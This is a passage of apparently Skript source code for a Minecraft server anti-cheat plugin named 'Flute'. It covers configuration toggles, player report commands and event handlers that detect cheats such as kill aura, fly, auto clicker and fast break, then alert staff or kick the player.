- format slot 9 of player with wooden sword named "&bAuto Clicker" with lore "&7Allowed: &b%{flute.autoclicker.ban}%" to close then run [make player execute command "/fluteconf banw autoclicker"]
- format slot 10 of player with iron boots named "&bAuto Sneak" with lore "&7Allowed: &b%{flute.autosneak.ban}%" to close then run [make player execute command "/fluteconf banw autosneak"]
- format slot 11 of player with wooden axe named "&bMulti Aura" with lore "&7Allowed: &b%{flute.multiaura.ban}%" to close then run [make player execute command "/fluteconf banw multiaura"]
- format slot 12 of player with stone named "&bScaffold" with lore "&7Allowed: &b%{flute.scaffold.ban}%" to close then run [make player execute command "/fluteconf banw scaffold"]
- format slot 13 of player with sandstone named "&bTower" with lore "&7Allowed: &b%{flute.tower.ban}%" to close then run [make player execute command "/fluteconf banw tower"]
- if arg 1 is "bantype":
- if {flute.bantype} is "banwave":
- set {flute.bantype} to "judgemental"
- message "%{logo}% %{banningmode}%&6&lJudgemental"
- stop
- if {flute.bantype} is "judgemental":
- set {flute.bantype} to "info"
- message "%{logo}% %{banningmode}%&d&lINFO"
- stop
- if {flute.bantype} is "info" or "none":
- set {flute.bantype} to "banwave"
- message "%{logo}% %{banningmode}%&9&lBanWave"
- stop
- if arg 1 is "banw":
- if arg 2 is "killaura":
- if {flute.killaura.ban} is true:
- set {flute.killaura.ban} to false
- message "%{logo}% &2KillAura %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.killaura.ban} to true
- message "%{logo}% &2KillAura %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "fastbow":
- if {flute.fastbow.ban} is true:
- set {flute.fastbow.ban} to false
- message "%{logo}% &2FastBow %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.fastbow.ban} to true
- message "%{logo}% &2FastBow %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "fly":
- if {flute.fly.ban} is true:
- set {flute.fly.ban} to false
- message "%{logo}% &2Fly %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.fly.ban} to true
- message "%{logo}% &2Fly %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "jesus":
- if {flute.jesus.ban} is true:
- set {flute.jesus.ban} to false
- message "%{logo}% &2Jesus %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.jesus.ban} to true
- message "%{logo}% &2Jesus %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "speed":
- if {flute.speed.ban} is true:
- set {flute.speed.ban} to false
- message "%{logo}% &2Speed %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.speed.ban} to true
- message "%{logo}% &2Speed %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "antikb":
- if {flute.antikb.ban} is true:
- set {flute.antikb.ban} to false
- message "%{logo}% &2AntiKB %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.antikb.ban} to true
- message "%{logo}% &2AntiKB %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "fastbreak":
- if {flute.fastbreak.ban} is true:
- set {flute.fastbreak.ban} to false
- message "%{logo}% &2Fast Break %{hackoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.fastbreak.ban} to true
- message "%{logo}% &2Fast Break %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "fastplace":
- if {flute.fastplace.ban} is true:
- set {flute.fastplace.ban} to false
- message "%{logo}% &2Fast Place %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.fastplace.ban} to true
- message "%{logo}% &2Fast Place %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "phase":
- if {flute.phase.ban} is true:
- set {flute.phase.ban} to false
- message "%{logo}% &2Phase %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.phase.ban} to true
- message "%{logo}% &2Phase %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "autoclicker":
- if {flute.autoclicker.ban} is true:
- set {flute.autoclicker.ban} to false
- message "%{logo}% &2AutoClicker %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.autoclicker.ban} to true
- message "%{logo}% &2AutoClicker %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "autosneak":
- if {flute.autosneak.ban} is true:
- set {flute.autosneak.ban} to false
- message "%{logo}% &2AutoSneak %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.autosneak.ban} to true
- message "%{logo}% &2AutoSneak %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "multiaura":
- if {flute.multiaura.ban} is true:
- set {flute.multiaura.ban} to false
- message "%{logo}% &2MultiAura %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.multiaura.ban} to true
- message "%{logo}% &2MultiAura %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "scaffold":
- if {flute.scaffold.ban} is true:
- set {flute.scaffold.ban} to false
- message "%{logo}% &2Scaffold %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.scaffold.ban} to true
- message "%{logo}% &2Scaffold %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 2 is "tower":
- if {flute.tower.ban} is true:
- set {flute.tower.ban} to false
- message "%{logo}% &2Tower %{bansettingsoff}%"
- execute player command "/fluteconf banwsettings"
- stop
- else:
- set {flute.tower.ban} to true
- message "%{logo}% &2Tower %{bansettingson}%"
- execute player command "/fluteconf banwsettings"
- stop
- if arg 1 is "enable":
- if arg 2 is "killaura":
- if {flute.killaura} is true:
- set {flute.killaura} to false
- message "%{logo}% &2KillAura %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.killaura} to true
- message "%{logo}% &2KillAura %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "fastbow":
- if {flute.fastbow} is true:
- set {flute.fastbow} to false
- message "%{logo}% &2FastBow %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.fastbow} to true
- message "%{logo}% &2FastBow %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "highjump":
- if {flute.highjump} is true:
- set {flute.highjump} to false
- message "%{logo}% &2HighJump %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.highjump} to true
- message "%{logo}% &2HighJump %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "fly":
- if {flute.fly} is true:
- set {flute.fly} to false
- message "%{logo}% &2Fly %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.fly} to true
- message "%{logo}% &2Fly %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "jesus":
- if {flute.jesus} is true:
- set {flute.jesus} to false
- message "%{logo}% &2Jesus %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.jesus} to true
- message "%{logo}% &2Jesus %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "speed":
- if {flute.bhp} is true:
- set {flute.bhp} to false
- message "%{logo}% &2Speed %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.bhp} to true
- message "%{logo}% &2Speed %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "antikb":
- if {flute.antikb} is true:
- set {flute.antikb} to false
- message "%{logo}% &2AntiKB %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.antikb} to true
- message "%{logo}% &2AntiKB %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "regen":
- if {flute.regen} is true:
- set {flute.regen} to false
- message "%{logo}% &2Regen %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.regen} to true
- message "%{logo}% &2Regen %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "multiaura":
- if {flute.multiaura} is true:
- set {flute.multiaura} to false
- message "%{logo}% &2MultiAura %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.multiaura} to true
- message "%{logo}% &2MultiAura %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "eat":
- if {flute.eat} is true:
- set {flute.eat} to false
- message "%{logo}% &2FastEat %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.eat} to true
- message "%{logo}% &2FastEat %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "fastbb":
- if {flute.fastbb} is true:
- set {flute.fastbb} to false
- message "%{logo}% &2Fast Build/Break %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.fastbb} to true
- message "%{logo}% &2Fast Build/Break %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "phase":
- if {flute.phase} is true:
- set {flute.phase} to false
- message "%{logo}% &2Phase %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.phase} to true
- message "%{logo}% &2Phase %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "autoclicker":
- if {flute.autoclicker} is true:
- set {flute.autoclicker} to false
- message "%{logo}% &2AutoClicker %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.autoclicker} to true
- message "%{logo}% &2AutoClicker %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "autosneak":
- if {flute.autosneak} is true:
- set {flute.autosneak} to false
- message "%{logo}% &2AutoSneak %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.autosneak} to true
- message "%{logo}% &2AutoSneak %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "scaffold":
- if {flute.scaffold} is true:
- set {flute.scaffold} to false
- message "%{logo}% &2Scaffold %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.scaffold} to true
- message "%{logo}% &2Scaffold %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- if arg 2 is "tower":
- if {flute.tower} is true:
- set {flute.tower} to false
- message "%{logo}% &2Tower %{hackoff}%"
- execute player command "/fluteconf hacks"
- stop
- else:
- set {flute.tower} to true
- message "%{logo}% &2Tower %{hackon}%"
- execute player command "/fluteconf hacks"
- stop
- command /report [<player>]:
- permission: flute.report
- trigger:
- if arg 1 is not set:
- message " "
- message "%{logo}% &2Make sure to specify which player you want to report!"
- message " &7Usage: /report <player>"
- message " "
- stop
- if arg 1 is set:
- wait 3 tick
- open chest with 2 rows named "&bReport: &e%arg 1%" to player
- wait 3 ticks
- format slot 1 of player with diamond sword named "&aKill Aura" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% killaura"]
- format slot 2 of player with iron sword named "&aReach" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% reach"]
- format slot 3 of player with feather named "&aFly" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% fly"]
- format slot 4 of player with water bucket named "&aJesus" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% jesus"]
- format slot 5 of player with cobweb named "&aAnti KB" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% antikb"]
- format slot 6 of player with diamond boots named "&aSpeed" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% speed"]
- format slot 7 of player with plank named "&aFast Build" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% fastbuild"]
- format slot 8 of player with cobblestone named "&aFast Break" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% fastbreak"]
- format slot 9 of player with stone named "&aScaffold" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% scaffold"]
- format slot 10 of player with sandstone named "&aTower" with lore "&7Click to report" to close then run [make player execute command "/treport %arg 1% tower"]
- stop
- command /treport [<player>] [<text>]:
- permission: flute.report
- trigger:
- if arg 1 is set:
- if arg 2 is "killaura":
- add arg 1 to {killaura::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%KillAura" to loop-player
- if arg 2 is "reach":
- add arg 1 to {reach::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%Reach" to loop-player
- if arg 2 is "fly":
- add arg 1 to {fly::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%Fly" to loop-player
- if arg 2 is "jesus":
- add arg 1 to {jesus::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%Jesus" to loop-player
- if arg 2 is "antikb":
- add arg 1 to {antikb::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%AntiKB" to loop-player
- if arg 2 is "speed":
- add arg 1 to {speed::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%Speed" to loop-player
- if arg 2 is "fastbuild":
- add arg 1 to {fastbuild::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%FastBuild" to loop-player
- if arg 2 is "fastbreak":
- add arg 1 to {fastbreak::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%FastBreak" to loop-player
- if arg 2 is "tower":
- add arg 1 to {tower::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%Tower" to loop-player
- if arg 2 is "scaffold":
- add arg 1 to {scaffold::*}
- message "%{logo}% %{reportsent}%"
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%arg 1% %{maincolor2}%Has been reported for: %{maincolor1}%Scaffold" to loop-player
- command /reports [<text>]:
- permission: flute.adminreports
- trigger:
- if arg 1 is not set:
- message " "
- message "%{logo}% %{checkreport1}%"
- message "%{checkreport2}%"
- message " "
- stop
- if arg 1 is "killaura":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{killaura::*}%"
- message " "
- stop
- if arg 1 is "reach":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{reach::*}%"
- message " "
- stop
- if arg 1 is "fly":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{fly::*}%"
- message " "
- stop
- if arg 1 is "jesus":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{jesus::*}%"
- message " "
- stop
- if arg 1 is "antikb":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{antikb::*}%"
- message " "
- stop
- if arg 1 is "speed":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{speed::*}%"
- message " "
- stop
- if arg 1 is "fastbuild":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{fastbuild::*}%"
- message " "
- stop
- if arg 1 is "fastbreak":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{fastbreak::*}%"
- message " "
- stop
- if arg 1 is "scaffold":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{scaffold::*}%"
- message " "
- stop
- if arg 1 is "tower":
- message " "
- message "%{logo}% %{unsolved}%"
- message "%{tower::*}%"
- message " "
- stop
- command /clearreports:
- permission: flute.adminreports
- trigger:
- clear {killaura::*}
- clear {reach::*}
- clear {fly::*}
- clear {jesus::*}
- clear {antikb::*}
- clear {speed::*}
- clear {fastbuild::*}
- clear {fastbreak::*}
- clear {scaffold::*}
- clear {tower::*}
- message "%{logo}% %{reportscleared}%"
- #=======================================================
- # Flute | Anti-Cheat =
- # Kill Aura =
- #=======================================================
- on damage:
- if {flute.killaura} is true:
- set {_mp} to {maxping} parsed as number
- if attacker's ping < {_mp}:
- if attacker doesn't have permission "flute.bypass":
- if victim is a entity or a player:
- if victim is not a ender dragon:
- attacker is a player:
- if damage cause is not a projectile:
- if tool of the attacker is a bow or a snowball or a egg or a ender pearl or a fishing rod:
- stop
- else:
- if damage wasn't caused by thorns:
- add 1 to {dmg.%attacker%}
- set {_ka} to {range} parsed as number
- if distance between attacker and victim is greater than {_ka}:
- cancel event
- set {_p} to attacker's ping
- add 1 to {killaura.%attacker%}
- set {_dist} to distance between attacker and victim
- if {t.ka.lastcheck} is not set:
- set {t.ka.lastcheck} to now
- if difference between now and {t.ka.lastcheck} is higher than 1.5 seconds:
- loop all players:
- if loop-player has permission "flute.notify":
- if {recieve.%loop-player%} is true:
- set {t.ka.lastcheck} to now
- send "%{logo}% %{maincolor3}%%attacker% %{maincolor2}%(%{maincolor1}%Kill Aura%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{killaura.%attacker%}%Lv%{maincolor2}%) (%{maincolor1}%Range: &a%{_dist}% Blocks%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {flute.debug.mode} is true:
- set {_facing} to attacker's horizontal facing
- set {_tool} to attacker's tool
- set {_health} to attacker's health
- set {_damage} to damage
- send "&f&m-=-------------------------------=-" to loop-player
- send "&f[DEBUG] - Facing: &7%{_facing}% &f[&d?&f]" to loop-player
- send "&f[DEBUG] - Item: &7%{_tool}% &f[&e?&f]" to loop-player
- send "&f[DEBUG] - Health: &7%{_health}% &f[&c?&f]" to loop-player
- send "&f[DEBUG] - Damage: &7%{_damage}% &f[&4?&f]" to loop-player
- send "&f&m-=-------------------------------=-" to loop-player
- on damage:
- if tool of the attacker is a sword:
- attacker is blocking
- cancel event
- #=======================================================
- # Flute | Anti-Cheat =
- # Auto Clicker =
- #=======================================================
- on left click:
- if {flute.autoclicker} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player doesn't have permission "flute.bypass":
- if player's tool is shears:
- if targeted block is leaves:
- stop
- else:
- set {_t} to player's tool
- if player's tool is a shovel of efficiency:
- stop
- if player's tool is a shovel of efficiency 2:
- stop
- if player's tool is a shovel of efficiency 3:
- stop
- if player's tool is a shovel of efficiency 4:
- stop
- if player's tool is a shovel of efficiency 5:
- stop
- if player's tool is a pickaxe of efficiency:
- stop
- if player's tool is a pickaxe of efficiency 2:
- stop
- if player's tool is a pickaxe of efficiency 3:
- stop
- if player's tool is a pickaxe of efficiency 4:
- stop
- if player's tool is a pickaxe of efficiency 5:
- stop
- if player's tool is a axe of efficiency:
- stop
- if player's tool is a axe of efficiency 2:
- stop
- if player's tool is a axe of efficiency 3:
- stop
- if player's tool is a axe of efficiency 4:
- stop
- if player's tool is a axe of efficiency 5:
- stop
- else:
- if event-block is not double-tall grass or grass or red flower or yellow flower or crops or carrot_plant or potato_plant or sugar_cane_block:
- add 1 to {clicks.%player%}
- set {_clicks} to {maxclicks} parsed as number
- if {clicks.%player%} >= {_clicks}:
- cancel event
- set {_p} to player's ping
- set {_cps} to {clicks.%player%}
- set {_tar} to event-block
- add 1 to {autoclicker.%player%}
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Auto Clicker%{maincolor2}%) (%{maincolor1}%CPS: %{_cps}%%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{autoclicker.%player%}%Lv%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%) (%{maincolor1}%Target Block: %{_tar}%%{maincolor2}%)" to loop-player
- every second:
- loop all players:
- set {clicks.%loop-player%} to 0
- #=======================================================
- # Flute | Anti-Cheat =
- # Multi Aura =
- #=======================================================
- on damage:
- if {flute.multiaura} is true:
- if attacker is player:
- set {_mp} to {maxping} parsed as number
- if attacker's ping < {_mp}:
- if attacker's target is victim:
- stop
- else:
- add 1 to {multiaura.%attacker%}
- cancel event
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%attacker% %{maincolor2}%(%{maincolor1}%Multi Aura%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{multiaura.%attacker%}%Lv%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- #=======================================================
- # Flute | Anti-Cheat =
- # Anti KB =
- #=======================================================
- on damage:
- if {flute.antikb} is true:
- if victim is a player:
- set {antitestkb.%victim%} to true
- set {_mp} to {maxping} parsed as number
- if victim's ping < {_mp}:
- if victim's health < victim's max health:
- if block at victim's location is not cobweb or cactus or lava or water:
- damage wasn't caused by lava, fire, burning, fall, poison or wither:
- victim is not riding:
- if victim's food level is not 0:
- victim doesn't have poison:
- victim doesn't have wither:
- victim isn't burning:
- wait 0.3 seconds
- if {antitestkb.%victim%} is true:
- victim isn't burning:
- set {_p} to victim's ping
- add 1 to {antikb.%victim%}
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%victim% %{maincolor2}%(%{maincolor1}%Anti KB%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- else:
- stop
- on any movement:
- if {antitestkb.%player%} is true:
- clear {antitestkb.%player%}
- stop
- #=======================================================
- # Flute | Anti-Cheat =
- # Regen/Fast Eat =
- #=======================================================
- on heal:
- if {flute.regen} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player doesn't have permission "flute.bypass":
- if player has regeneration:
- stop
- else:
- set {_dif} to difference between {heal.%player%} and now
- if {_dif} is less than 0.45 seconds:
- cancel event
- set {heal.%player%} to now
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Regen%{maincolor2}%) (%{maincolor1}%Healing speed: %{maincolor3}%%{_dif}%%{maincolor2}%)" to loop-player
- set {heal.%player%} to now
- on consume:
- if {flute.eat} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player doesn't have permission "flute.bypass":
- if player has saturation:
- stop
- else:
- set {_dif} to difference between {eat.%player%} and now
- if {_dif} is less than 1.60 seconds:
- cancel event
- set {eat.%player%} to now
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Fast Eat%{maincolor2}%) (%{maincolor1}%Eating speed: %{maincolor3}%%{_dif}%%{maincolor2}%)" to loop-player
- set {eat.%player%} to now
- on consume:
- if {flute.debug.mode} is true:
- if player's name is "GotPower":
- if {eaten.xenons.%player%} is not set:
- set {eaten.xenons.%player%} to now
- stop
- else:
- set {_difeat} to difference between {eaten.xenons.%player%} and now
- broadcast "%{_difeat}%"
- clear {eaten.xenons.%player%}
- stop
- on heal:
- if {flute.debug.mode} is true:
- if player's name is "GotPower":
- if {regen.xenons.%player%} is not set:
- set {regen.xenons.%player%} to now
- stop
- else:
- set {_difeat} to difference between {regen.xenons.%player%} and now
- broadcast "%{_difeat}%"
- clear {regen.xenons.%player%}
- stop
- #=======================================================
- # Flute | Anti-Cheat =
- # Auto Sneak =
- #=======================================================
- on chat:
- if {flute.autosneak} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player doesn't have permission "flute.bypass":
- if player is sneaking:
- add 1 to {sneaking.%player%}
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Auto Sneak%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{sneaking.%player%}%Lv%{maincolor2}%)" to loop-player
- stop
- on command:
- if {flute.autosneak} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player doesn't have permission "flute.bypass":
- if player is sneaking:
- add 1 to {sneaking.%player%}
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Auto Sneak%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{sneaking.%player%}%Lv%{maincolor2}%)" to loop-player
- stop
- #=======================================================
- # Flute | Anti-Cheat =
- # Fast Place/Break =
- #=======================================================
- on place:
- if {flute.fastbb} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player doesn't have permission "flute.bypass":
- if player's gamemode is survival:
- if event-block is not double-tall grass or grass or red flower or yellow flower or crops or carrot_plant or potato_plant or sugar_cane_block:
- set {_seconds} to "%{fastplaceticks}% seconds"
- set {_dif} to difference between {fastplacetest.%player%} and now
- if {_dif} is less than {_seconds}:
- cancel event
- add 1 to {fastplace.%player%}
- set {_p} to player's ping
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Fast Place%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{fastplace.%player%}%Lv%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%) (%{maincolor1}%Block: %{_p}%%event-block%)" to loop-player
- set {fastplacetest.%player%} to now
- stop
- on break:
- if {flute.fastbb} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player doesn't have permission "flute.bypass":
- if player's gamemode is survival:
- if event-block is not double-tall grass or red flower or yellow flower or 59 or 141 or 142 or sugar_cane_block:
- set {_seconds} to "%{fastbreakticks}% seconds"
- set {_dif} to difference between {fastbreaktest.%player%} and now
- if {_dif} is less than {_seconds}:
- cancel event
- add 1 to {fastbreak.%player%}
- set {_p} to player's ping
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Fast Break%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{fastbreak.%player%}%Lv%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%) (%{maincolor1}%Block: %{_p}%%event-block%)" to loop-player
- set {fastbreaktest.%player%} to now
- stop
- #=======================================================
- # Flute | Anti-Cheat =
- # Fly/Jesus =
- #=======================================================
- on any movement:
- if {flute.fly} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player is not riding:
- if player doesn't have permission "flute.bypass":
- if player's gamemode is survival or adventure:
- if player's health < player's max health:
- if block under player is air:
- set {_b} to block under player
- if block under {_b} is air:
- set {_y1} to y-coordinates of player
- if block behind {_b} is air:
- if block 1 meter south of {_b} is air:
- if block 1 meter west of {_b} is air:
- if block 1 meter east of {_b} is air:
- if block 1 meter north of {_b} is air:
- wait 5 ticks
- set {_y2} to y-coordinates of player
- if {_y2} is higher than or equal to {_y1}:
- if difference between {_y2} and {_y1} is higher than 1.4:
- chestplate of player is neither a chestplate nor air:
- stop
- else:
- add 1 to {fly.%player%}
- push player downwards at speed 1.2
- if {t.fly.lastcheck} is not set:
- set {t.fly.lastcheck} to now
- set {_p} to player's ping
- set {_block} to block under player
- if difference between now and {t.fly.lastcheck} is higher than 1.5 seconds:
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- set {t.fly.lastcheck} to now
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Fly%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{fly.%player%}%Lv%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%) (%{maincolor1}%Block under: %{_block}%%{maincolor2}%)" to loop-player
- if {fly.%player%} > 5:
- remove 2 from {fly.%player%}
- kick player due to "%{logo}% %{maincolor1}%Fly &ais not allowed!%new line%&cPlease turn off your hacks before re-login!%new line%%new line%%{banmsg3}%"
- on any movement:
- if {flute.jesus} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player is not riding:
- if player doesn't have permission "flute.bypass":
- if player's gamemode is survival or adventure:
- if player is not sneaking:
- if block above player is air:
- set {_b} to block under player
- if block under {_b} is water:
- set {_y1} to y-coordinates of player
- set {_x1} to x-coordinates of player
- set {_z1} to z-coordinates of player
- set {_loc} to location of player
- if block behind {_b} is water:
- if block 1 meter south of {_b} is water:
- if block 1 meter west of {_b} is water:
- if block 1 meter east of {_b} is water:
- if block 1 meter north of {_b} is water:
- wait 5 ticks
- set {_y2} to y-coordinates of player
